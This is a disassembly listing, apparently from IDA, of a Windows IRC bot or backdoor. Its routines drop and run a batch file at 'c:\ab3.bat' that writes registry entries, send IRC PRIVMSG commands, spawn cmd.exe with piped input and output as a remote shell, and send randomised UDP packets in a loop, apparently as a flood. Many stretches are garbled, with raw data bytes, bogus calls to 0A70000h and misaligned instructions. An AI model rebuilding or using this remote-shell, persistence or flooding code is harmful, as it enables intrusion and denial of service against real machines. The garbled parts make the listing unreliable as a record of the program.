		call	near ptr 0A70000h
		mov	ebp, 0F89C858Dh
; ---------------------------------------------------------------------------
		db 0FFh
		dd 858D50FFh, 0FFFFFDA0h, 4222D868h, 40E85000h,	8300009Dh
		dd 858D0CC4h, 0FFFFFDA0h, 26A5656h, 685656h, 50400000h
		dd 0D07015FFh, 0F88B0041h, 860FFE3Bh, 10Ch, 0FDA0858Dh
		dd 8D50FFFFh, 0FFF89C85h, 229468FFh, 0E8500042h, 9D03h
		dd 8D0CC483h, 5056FC45h, 0F89C858Dh, 0E850FFFFh, 0A33Ch
		dd 858D5059h, 0FFFFF89Ch, 7DE85750h, 0B6006683h, 6815FF57h
		dd 6A0041D0h, 0EC458D10h, 49E85056h, 6A00009Dh,	0A8458D44h
		dd 5056575Fh, 9D3BE8h, 18C48300h, 0BFA87D89h, 104h, 0FEA4858Dh
		dd 5057FFFFh, 0B445C756h, 430AD0h, 1D445C7h, 66000000h
		dd 0E8D87589h, 668330h,	29E85062h, 99006683h, 0FEA4858Dh
		dd 0FF50FFFFh, 41D07415h, 0FFF88300h, 858D1274h, 0FFFFFEA4h
		dd 8068h, 5E85000h, 3C006683h, 0FEA4858Dh, 8D50FFFFh, 0FFFDA085h
		dd 858D50FFh, 0FFFFF89Ch, 42227C68h, 48E85000h,	8300009Ch
		dd 858D10C4h, 0FFFFFC9Ch, 858D5057h, 0FFFFF89Ch, 82CEE850h
		dd 8DFA0066h, 8D50EC45h, 5650A845h, 40086856h, 16A0000h
		dd 9C858D56h, 56FFFFFCh, 0ADE85650h, 6006682h, 0C3C95E5Fh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407D58	proc near		; CODE XREF: seg000:004099EEp

var_1860	= byte ptr -1860h
var_158		= byte ptr -158h
var_58		= byte ptr -58h
var_48		= dword	ptr -48h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 1860h
		call	sub_412030
		push	esi
		push	edi
		mov	ecx, 5C1h
		mov	esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
		lea	edi, [ebp+var_1860]
		lea	eax, [ebp+var_158]
		rep movsd
		movsw
		push	offset aCAb3_bat ; "c:\\ab3.bat"
		push	eax
		movsb
		call	sub_411963
		pop	ecx
		xor	esi, esi
		pop	ecx
		lea	eax, [ebp+var_158]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_41D070	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	short loc_407E12
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		push	edi
		call	near ptr 0A70000h
		adc	eax, 6815FF57h
		rol	byte ptr [ecx+0], 1
		push	44h
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_4119E0
		add	esp, 0Ch
		lea	ecx, [ebp+var_58]
		mov	[ebp+var_48], edi
		mov	[ebp+var_18], si
		push	1
		pop	eax
		push	ecx
		lea	ecx, [ebp+var_48]
		push	ecx
		push	esi
		push	esi
		push	28h
		mov	[ebp+var_1C], eax
		push	eax
		push	esi
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	esi
		call	near ptr 0A70000h
		inc	edx


loc_407E12:				; CODE XREF: sub_407D58+55j
		pop	edi
		pop	esi
		leave
		retn
sub_407D58	endp


; =============== S U B	R O U T	I N E =======================================



sub_407E16	proc near		; CODE XREF: sub_4013E9+7p
					; sub_401B7C+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_431ED0
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_407E3E
		push	[esp+arg_0]
		call	ds:dword_431F14
		test	eax, eax
		jnz	short loc_407E37
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_407E37:				; CODE XREF: sub_407E16+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_407E3E:				; CODE XREF: sub_407E16+Dj
		retn
sub_407E16	endp


; =============== S U B	R O U T	I N E =======================================



sub_407E3F	proc near		; CODE XREF: sub_409EB0+D6p
		mov	ecx, ds:dword_431DB8
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_407E4D
		call	ecx ; dword_431DB8

locret_407E4D:				; CODE XREF: sub_407E3F+Aj
		retn
sub_407E3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407E4E	proc near		; CODE XREF: seg000:loc_40E97Dp

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	ds:dword_431F0C
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_407F14
		sub	ecx, 32h
		jz	loc_407F0D
		sub	ecx, 48h
		jz	short loc_407EAE
		sub	ecx, 6Eh
		jz	short loc_407EA7


loc_407E90:				; CODE XREF: sub_407E4E+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_423AB8
		push	eax
		call	sub_411963
		add	esp, 0Ch
		jmp	short loc_407EEE
; ---------------------------------------------------------------------------


loc_407EA7:				; CODE XREF: sub_407E4E+40j
		push	offset unk_423A80
		jmp	short loc_407EE0
; ---------------------------------------------------------------------------


loc_407EAE:				; CODE XREF: sub_407E4E+3Bj
		push	[ebp+var_8]
		call	sub_41205F
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_4119E0
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_407EDB
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	ds:dword_431F0C
		cmp	eax, edi
		jz	short loc_407F14
		jmp	short loc_407E90
; ---------------------------------------------------------------------------


loc_407EDB:				; CODE XREF: sub_407E4E+79j
		push	offset unk_423A3C


loc_407EE0:				; CODE XREF: sub_407E4E+5Ej
					; sub_407E4E+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_411963
		pop	ecx
		pop	ecx


loc_407EEE:				; CODE XREF: sub_407E4E+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_408CFE
		pop	ecx


loc_407EFE:				; CODE XREF: sub_407E4E+C8j
					; sub_407E4E+DCj
		push	esi
		call	sub_4120D3
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_407F0D:				; CODE XREF: sub_407E4E+32j
		push	offset unk_4239F8
		jmp	short loc_407EE0
; ---------------------------------------------------------------------------


loc_407F14:				; CODE XREF: sub_407E4E+29j
					; sub_407E4E+89j
		cmp	[esi], edi
		jbe	short loc_407EFE
		lea	ebx, [esi+4]


loc_407F1B:				; CODE XREF: sub_407E4E+DAj
		push	ebx
		call	ds:dword_431F08
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_407F1B
		jmp	short loc_407EFE
sub_407E4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F2C	proc near		; CODE XREF: seg000:00401E3Ep
					; sub_402136+8Bp ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_4119E0
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_431E34
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4321C4
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_411963
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_407F2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_407F85	proc near		; CODE XREF: seg000:004012FEp
					; seg000:00401344p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_407FAE
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_407FA1:				; CODE XREF: sub_407F85+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_407FA1
		pop	edi
		jmp	short loc_407FB2
; ---------------------------------------------------------------------------


loc_407FAE:				; CODE XREF: sub_407F85+Aj
		mov	edx, [esp+4+arg_0]


loc_407FB2:				; CODE XREF: sub_407F85+27j
		test	esi, esi
		pop	esi
		jz	short loc_407FBC
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_407FBC:				; CODE XREF: sub_407F85+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_407F85	endp

; ---------------------------------------------------------------------------


loc_407FD2:				; DATA XREF: seg000:0040C7BAo
		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_412030
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	ds:dword_431E1C
		mov	[ebp+8], eax
		lea	eax, [ebp-0C0h]
		push	eax
		call	ds:dword_431ED0
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40802D
		lea	eax, [ebp-0C0h]
		push	eax
		call	ds:dword_431F14
		cmp	eax, ebx
		jz	short loc_408033


loc_40802D:				; CODE XREF: seg000:0040801Aj
		cmp	dword ptr [ebp+8], 0FFFFFFFFh
		jnz	short near ptr loc_40808F+1


loc_408033:				; CODE XREF: seg000:0040802Bj
		lea	eax, [ebp-0C0h]
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_423B3C
		push	eax
		call	sub_411963
		add	esp, 0Ch
		cmp	[ebp-28h], ebx
		jnz	short loc_408073
		push	ebx
		lea	eax, [ebp-344h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-140h]
		push	eax
		push	dword ptr [ebp-144h]
		call	sub_40F466
		add	esp, 14h


loc_408073:				; CODE XREF: seg000:00408051j
		lea	eax, [ebp-344h]
		push	eax
		call	sub_408CFE
		push	dword ptr [ebp-30h]
		call	sub_41172B
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 0A70000h


loc_40808F:				; CODE XREF: seg000:00408031j
		mov	dword ptr [ebx], 8B0C74C3h
		inc	eax
		or	al, 8Bh
		add	[ebx-3BA7700h],	cl
		jmp	short loc_4080A3
; ---------------------------------------------------------------------------
		mov	[ebp-4], esi


loc_4080A3:				; CODE XREF: seg000:0040809Ej
		push	1Ch
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_4119E0
		or	dword ptr [ebp-18h], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp-3Ch], eax
		jle	short loc_4080C3
		mov	[ebp-3Ch], eax


loc_4080C3:				; CODE XREF: seg000:004080BEj
		cmp	[ebp-38h], edi
		jge	short loc_4080CB
		mov	[ebp-38h], edi


loc_4080CB:				; CODE XREF: seg000:004080C6j
		xor	esi, esi
		cmp	[ebp-40h], ebx
		jle	short loc_4080F8


loc_4080D2:				; CODE XREF: seg000:004080F6j
		push	dword ptr [ebp-38h]
		lea	eax, [ebp-20h]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp-10320h]
		push	dword ptr [ebp-3Ch]
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+8]
		call	ds:dword_431DB4
		inc	esi
		cmp	esi, [ebp-40h]
		jl	short loc_4080D2


loc_4080F8:				; CODE XREF: seg000:004080D0j
		push	dword ptr [ebp+8]
		call	ds:dword_431F48
		lea	eax, [ebp-0C0h]
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_423AFC
		push	eax
		call	sub_411963
		add	esp, 0Ch
		cmp	[ebp-28h], ebx
		jnz	short loc_408141
		push	ebx
		lea	eax, [ebp-344h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-140h]
		push	eax
		push	dword ptr [ebp-144h]
		call	sub_40F466
		add	esp, 14h


loc_408141:				; CODE XREF: seg000:0040811Fj
		lea	eax, [ebp-344h]
		push	eax
		call	sub_408CFE
		push	dword ptr [ebp-30h]
		call	sub_41172B
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A70000h
		adc	al, 55h
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_412030
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	ds:dword_41D044	; GetTickCount
		push	eax
		call	sub_4119B5
		pop	ecx
		push	11h
		push	2
		push	2
		call	ds:dword_431F10
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp-10h]
		push	edi
		push	eax
		call	sub_4119E0
		add	esp, 0Ch
		lea	eax, [ebp-0B0h]
		mov	word ptr [ebp-10h], 2
		push	eax
		call	ds:dword_431ED0
		cmp	eax, 0FFFFFFFFh	; CODE XREF: seg000:0040823Bj
		mov	[ebp+8], eax
		jnz	short near ptr loc_408242+1
		lea	eax, [ebp-0B0h]
		push	eax
		call	ds:dword_431F14
		cmp	eax, edi
		jnz	short near ptr loc_40823B+1
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-334h]
		push	offset dword_423BB8
		push	eax
		call	sub_411963
		add	esp, 0Ch
		cmp	[ebp-18h], edi
		jnz	short loc_40821F
		push	edi
		lea	eax, [ebp-334h]
		push	dword ptr [ebp-1Ch]
		push	eax
		lea	eax, [ebp-130h]
		push	eax
		push	dword ptr [ebp-134h]
		call	sub_40F466
		add	esp, 14h


loc_40821F:				; CODE XREF: seg000:004081FDj
		lea	eax, [ebp-334h]
		push	eax
		call	sub_408CFE
		push	dword ptr [ebp-20h]
		call	sub_41172B
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A70000h


loc_40823B:				; CODE XREF: seg000:004081DDj
		jnz	short near ptr loc_4081C6+2
		inc	eax
		or	al, 8Bh
		add	bl, ch


loc_408242:				; CODE XREF: seg000:004081CCj
		add	ecx, [ebp+8B0845h]
		cmp	[ebp-24h], edi
		mov	[ebp-0Ch], eax
		jnz	short loc_408261
		call	sub_4119BF
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_408264
; ---------------------------------------------------------------------------


loc_408261:				; CODE XREF: seg000:0040824Ej
		push	dword ptr [ebp-24h]


loc_408264:				; CODE XREF: seg000:0040825Fj
		call	ds:dword_431E90
		cmp	[ebp-24h], esi
		mov	[ebp-0Eh], ax
		jge	short loc_408276
		mov	[ebp-24h], esi


loc_408276:				; CODE XREF: seg000:00408271j
		mov	eax, 0FFFFh
		cmp	[ebp-24h], eax
		jle	short loc_408283
		mov	[ebp-24h], eax


loc_408283:				; CODE XREF: seg000:0040827Ej
		mov	eax, [ebp-30h]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp-28h], edi
		mov	[ebp-30h], eax
		jnz	short loc_408297
		mov	[ebp-28h], esi


loc_408297:				; CODE XREF: seg000:00408292j
		xor	esi, esi
		cmp	[ebp-2Ch], edi
		jle	short loc_4082B8


loc_40829E:				; CODE XREF: seg000:004082B6j
		call	sub_4119BF
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp-2Ch]
		mov	[ebp+esi-10311h], dl
		jl	short loc_40829E


loc_4082B8:				; CODE XREF: seg000:0040829Cj
					; seg000:004082FAj ...
		mov	eax, [ebp-30h]
		dec	dword ptr [ebp-30h]
		test	eax, eax
		jle	short loc_408317
		push	0Bh
		pop	esi


loc_4082C5:				; CODE XREF: seg000:004082F5j
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	edi
		call	sub_4119BF
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp-2Ch]
		sub	eax, edx
		push	eax
		lea	eax, [ebp-10310h]
		push	eax
		push	ebx
		call	ds:dword_431EF4
		push	dword ptr [ebp-28h]
		call	ds:dword_41D050	; Sleep
		dec	esi
		jnz	short loc_4082C5
		cmp	[ebp-24h], edi
		jnz	short loc_4082B8
		call	sub_4119BF
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	ds:dword_431E90
		mov	[ebp-0Eh], ax
		jmp	short loc_4082B8
; ---------------------------------------------------------------------------


loc_408317:				; CODE XREF: seg000:004082C0j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-334h]
		push	offset dword_423B78
		push	eax
		call	sub_411963
		add	esp, 0Ch
		cmp	[ebp-18h], edi
		jnz	short loc_408357
		push	edi
		lea	eax, [ebp-334h]
		push	dword ptr [ebp-1Ch]
		push	eax
		lea	eax, [ebp-130h]
		push	eax
		push	dword ptr [ebp-134h]
		call	sub_40F466
		add	esp, 14h


loc_408357:				; CODE XREF: seg000:00408335j
		lea	eax, [ebp-334h]
		push	eax
		call	sub_408CFE
		push	dword ptr [ebp-20h]
		call	sub_41172B
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 0A70000h
		and	ds:dword_4321DC[ecx], esp ; CODE XREF: seg000:0040845Ap
					; seg000:004085C4p
		push	esi
		mov	esi, ds:dword_41D068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408388
		push	eax
		call	esi ; dword_41D068


loc_408388:				; CODE XREF: seg000:00408383j
		mov	eax, ds:dword_4321E4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408395
		push	eax
		call	esi ; dword_41D068


loc_408395:				; CODE XREF: seg000:00408390j
		mov	eax, ds:dword_4321D8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4083A2
		push	eax
		call	esi ; dword_41D068


loc_4083A2:				; CODE XREF: seg000:0040839Dj
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4083A4	proc near		; CODE XREF: seg000:0040DEFAp

var_17F68A40	= dword	ptr -17F68A40h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_411FB0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	ds:dword_4321E0
		call	near ptr 0A70000h
		test	[ebp+var_17F68A40], eax
		mov	eax, ds:33FFFFFFh
		ror	cl, 0C3h
		push	1
		pop	eax
		leave
		retn
sub_4083A4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_430AD0
		push	dword ptr [ebp+0Ch]
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40841F
		push	7D0h
		call	ds:dword_41D050	; Sleep
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+0Ch]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_411963
		add	esp, 10h
		jmp	short loc_408436
; ---------------------------------------------------------------------------


loc_40841F:				; CODE XREF: seg000:004083F6j
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-200h]
		push	offset aS_1	; CODE XREF: seg000:004084A5j
					; "%s"
		push	eax
		call	sub_411963
		add	esp, 0Ch


loc_408436:				; CODE XREF: seg000:0040841Dj
		lea	eax, [ebp-200h]
		push	0
		push	eax
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	eax, [ebp-200h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_431EE0
		test	eax, eax
		jg	short loc_40845F
		call	near ptr loc_408373+1


loc_40845F:				; CODE XREF: seg000:00408458j
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_408463:				; DATA XREF: seg000:00408728o
		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4321E8
		push	esi
		lea	eax, [ebp-20Ch]
		push	edi
		push	eax
		call	sub_4119E0
		add	esp, 0Ch
		lea	eax, [ebp-4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp-20Ch]
		push	esi
		push	eax
		push	ds:dword_4321DC
		call	near ptr 0A70000h
		loopne	near ptr loc_408428+4
		ror	byte ptr [edi],	84h
		wait
; ---------------------------------------------------------------------------
		db 0
		dd 7D390000h, 8D2B75FCh, 0FF50F845h, 4321D835h,	7B3EE800h
		dd 85F50066h, 810D74C0h, 103F87Dh, 850F0000h, 99h, 15FF0A6Ah
		dd 41D050h, 0C0339DEBh,	76FC7D39h, 5BC8010h, 0FFFFFDF4h
		dd 4054740Ah, 72FC453Bh, 0FC7589F0h, 0F4858D56h, 57FFFFFDh
		dd 94DAE850h, 0C4830000h, 0F4458D0Ch, 75FF5057h, 0F4858DFCh
		dd 50FFFFFDh, 21DC35FFh, 15FF0043h, 41D08Ch, 6D74C085h
		dd 0FDF4858Dh, 5350FFFFh, 221C35FFh, 0A1E80043h, 83FFFFFEh
		dd 38E90CC4h, 40FFFFFFh, 0EBFC4589h, 3C8468AFh,	0FF530042h
		dd 43221C35h, 0FE82E800h, 75FFFFFFh, 91C9E808h,	0C4830000h
		dd 0E8016A10h, 667A94h,	0FE02E821h, 4868FFFFh, 5300423Ch
		dd 221C35FFh, 59E80043h, 0FFFFFFFEh, 0A0E80875h, 83000091h
		dd 0E85710C4h, 667A6Ch,	3C0468CAh, 0FF530042h, 43221C35h
		dd 0FE36E800h, 75FFFFFFh, 917DE808h, 0C4830000h, 49E85710h
		dd 0F600667Ah
; ---------------------------------------------------------------------------


loc_4085B8:				; CODE XREF: seg000:0040EA05p
		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	near ptr loc_408373+1
		xor	esi, esi
		lea	eax, [ebp-178h]
		push	esi
		push	eax
		push	104h		; CODE XREF: seg000:0040864Ej
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	ds:dword_431F4C
		test	eax, eax
		jz	loc_4086B2
		push	1
		lea	eax, [ebp-1Ch]
		pop	ebx
		mov	edi, ds:dword_41D0F4
		push	esi
		push	eax
		lea	eax, [ebp-0Ch]
		mov	dword ptr [ebp-1Ch], 0Ch
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		mov	[ebp-14h], ebx
		mov	[ebp-18h], esi
		call	edi ; dword_41D0F4
		test	eax, eax
		jz	loc_4086B2
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		call	edi ; dword_41D0F4
		test	eax, eax
		jz	loc_4086B2
		mov	edi, ds:dword_41D0F0
		push	3
		push	esi
		push	esi
		push	offset dword_4321E0
		call	edi ; dword_41D0F0
		push	eax
		push	dword ptr [ebp-8]
		call	edi ; dword_41D0F0
		push	eax
		call	near ptr 0A70000h
		jb	short near ptr loc_4085D3+2
		sal	byte ptr [edi+ebx*2+6Ah], 10h
		lea	eax, [ebp-2Ch]
		push	esi
		push	eax
		call	sub_4119E0
		push	44h
		lea	eax, [ebp-74h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_4119E0
		mov	eax, [ebp-4]
		add	esp, 18h
		mov	[ebp-3Ch], eax
		mov	eax, [ebp-0Ch]
		mov	[ebp-38h], eax
		mov	[ebp-34h], eax
		lea	eax, [ebp-2Ch]
		mov	[ebp-74h], edi
		push	eax
		lea	eax, [ebp-74h]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_430AD0
		push	esi
		lea	eax, [ebp-178h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-48h], 101h
		mov	[ebp-44h], si
		call	near ptr 0A70000h
		inc	edi
		test	eax, eax
		jnz	short loc_4086BA


loc_4086B2:				; CODE XREF: seg000:004085E7j
					; seg000:00408614j ...
		or	eax, 0FFFFFFFFh
		jmp	loc_408768
; ---------------------------------------------------------------------------


loc_4086BA:				; CODE XREF: seg000:004086B0j
		push	dword ptr [ebp-4]
		mov	edi, ds:dword_41D068
		call	edi ; dword_41D068
		mov	eax, [ebp-10h]
		push	dword ptr [ebp-28h]
		mov	ds:dword_4321DC, eax
		mov	eax, [ebp-8]
		mov	ds:dword_4321E4, eax
		mov	eax, [ebp-2Ch]
		mov	ds:dword_4321D8, eax
		call	edi ; dword_41D068
		mov	eax, [ebp+8]
		cmp	[ebp+0Ch], esi
		mov	ds:dword_43221C, eax
		jz	short loc_4086F4
		push	dword ptr [ebp+0Ch]
		jmp	short loc_4086F5
; ---------------------------------------------------------------------------


loc_4086F4:				; CODE XREF: seg000:004086EDj
		push	ebx


loc_4086F5:				; CODE XREF: seg000:004086F2j
		push	offset dword_4321E8
		call	sub_411963
		pop	ecx
		pop	ecx
		push	esi
		push	7
		push	offset dword_423D10
		call	sub_41140F
		mov	edi, eax
		mov	ecx, [ebp-24h]
		imul	edi, 234h
		add	esp, 0Ch
		mov	ds:dword_437028[edi], ecx
		lea	ecx, [ebp-30h]
		push	ecx
		push	esi
		push	eax
		push	offset loc_408463
		push	esi
		push	esi
		call	ds:dword_41D064	; CreateThread
		cmp	eax, esi
		mov	ds:dword_437034[edi], eax
		jnz	short loc_408766
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-378h]
		push	offset dword_423CC8
		push	eax
		call	sub_411963
		lea	eax, [ebp-378h]
		push	eax
		call	sub_408CFE
		add	esp, 10h


loc_408766:				; CODE XREF: seg000:0040873Dj
		xor	eax, eax


loc_408768:				; CODE XREF: seg000:004086B5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40876D	proc near		; CODE XREF: sub_4058D8+74p
					; sub_40888C+217p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	ds:dword_41D044	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_432224
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_411EDA
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40876D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4087D6	proc near		; CODE XREF: sub_40888C+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_4087DE:				; CODE XREF: sub_4087D6+2Fj
					; sub_4087D6+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	ds:dword_41D050	; Sleep
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_4135D0
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_4087DE
		jb	short loc_40880D
		cmp	ebx, esi
		ja	short loc_4087DE


loc_40880D:				; CODE XREF: sub_4087D6+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_413550
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_408880
		jb	short loc_40882C
		cmp	esi, 50h
		jnb	short loc_408831


loc_40882C:				; CODE XREF: sub_4087D6+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_408831:				; CODE XREF: sub_4087D6+54j
		test	ecx, ecx
		ja	short loc_408880
		jb	short loc_40883C
		cmp	esi, 47h
		jnb	short loc_408841


loc_40883C:				; CODE XREF: sub_4087D6+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_408841:				; CODE XREF: sub_4087D6+64j
		test	ecx, ecx
		ja	short loc_408880
		jb	short loc_40884C
		cmp	esi, 37h
		jnb	short loc_408851


loc_40884C:				; CODE XREF: sub_4087D6+6Fj
		push	32h
		xor	edx, edx
		pop	eax


